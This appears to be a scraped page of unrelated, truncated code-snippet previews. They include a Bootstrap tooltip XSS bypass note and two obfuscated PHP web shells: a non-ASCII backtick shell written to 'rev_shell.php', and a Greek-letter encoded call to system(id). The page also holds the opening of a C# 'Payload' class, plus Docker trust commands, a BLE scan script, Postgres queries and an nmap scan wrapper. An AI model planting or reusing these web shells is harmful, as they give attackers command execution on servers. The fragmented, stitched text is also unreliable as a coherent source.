Bootstrap < 3.4.1 || < 4.3.1
✔️ CSP strict-dynamic bypass
➖ Requires user interaction
➖ Requires $('[data-toggle="tooltip"]').tooltip();
<?=`{${~"\xa0\xb8\xba\xab"}["\xa0"]}`; | |
/* | |
* In terminal: | |
* $ echo -ne '<?=`{${~\xa0\xb8\xba\xab}[\xa0]}`;' > rev_shell.php | |
* This is how the code will be produced, \xa0\xb8\xba\xab will be | |
* treated as constant therefore no " needed. It is also not copyable | |
* string because of non-ascii characters | |
* | |
* Explanation: |
/* system(id) */ | |
<?=$Φ=([].Φ)[![]+![]+![]]?><?=$Χ=++$Φ?><?=$Ψ=++$Χ?><?=$Ω=++$Ψ?><?=$Ϊ=++$Ω?><?=$Ϋ=++$Ϊ?><?=$ά=++$Ϋ?><?=$έ=++$ά?><?=$ή=++$έ?><?=$ί=++$ή?><?=$ΰ=++$ί?><?=$α=++$ΰ?><?=$β=++$α?><?=$γ=++$β?><?=$δ=++$γ?><?=$ε=++$δ?><?=$ζ=++$ε?><?=$η=++$ζ?><?=$θ=++$η?><?=$ι=++$θ?><?=$κ=++$ι?><?=$λ=++$κ?><?=$μ=++$λ?><?=$ν=++$μ?><?=$ξ=++$ν?><?=$ο=++$ξ?><?=$ο=([].Φ)[![]+![]+![]]?><?=($η.$ν.$η.$θ.$Ω.$α)($έ.$Ψ)?> | |
<!-- | |
Explanation: | |
- Some of the characters might look like alphanumeric, but they are Unicode characters. | |
- 'ArrayΦ' <-> [].Φ | |
- 1 <-> ![] | |
- 'a' <-> ([].Φ)[![]+![]+![]] |
using System; | |
using System.IO; | |
using System.Net; | |
using System.Diagnostics; | |
using System.IO.Compression; | |
using System.Runtime.InteropServices; | |
public class Payload | |
{ | |
public Payload() |
#Docker content trust | |
export DOCKER_CONTENT_TRUST=1 | |
docker pull nginx | |
#see the key for the image pulled | |
docker trust inspect --pretty nginx | |
#pull image from some other non trusted repository | |
docker pull saiyam911/red | |
================================================== | |
#getting the image ID's |
#!/bin/bash | |
# run with the following syntax: | |
# ./ghetto_bleah.sh 11:22:33:44:55:66 | |
mac=$1 ; | |
while read i; | |
do | |
printf "%s " $(echo -n $i|awk '{printf "%s : ", $1'}); | |
printf "%s " $(echo -n $i|awk '{printf "%s : ", $3'}); | |
#printf "%s : " $(echo -n $i|awk '{printf "%s", $2'}); |
# long running queries: | |
SELECT | |
pid, | |
now() - pg_stat_activity.query_start AS duration, | |
query, | |
state | |
FROM pg_stat_activity | |
WHERE (now() - pg_stat_activity.query_start) > interval '5 minutes'; | |
## active queries and killing them: |
if [ "$#" -ne 3 ]; then | |
echo "Usage: nmap-tcp-full.sh <TCP-QUICK-RESULTS.XML> <TARGET> <OUTPUT-FILENAME>" | |
exit 1 | |
fi | |
nmap -nvv -Pn -sSV -T1 -p$(cat $1 | grep portid | grep protocol=\"tcp\" | cut -d'"' -f4 | paste -sd "," -) --version-intensity 9 -A -oA $3 $2 |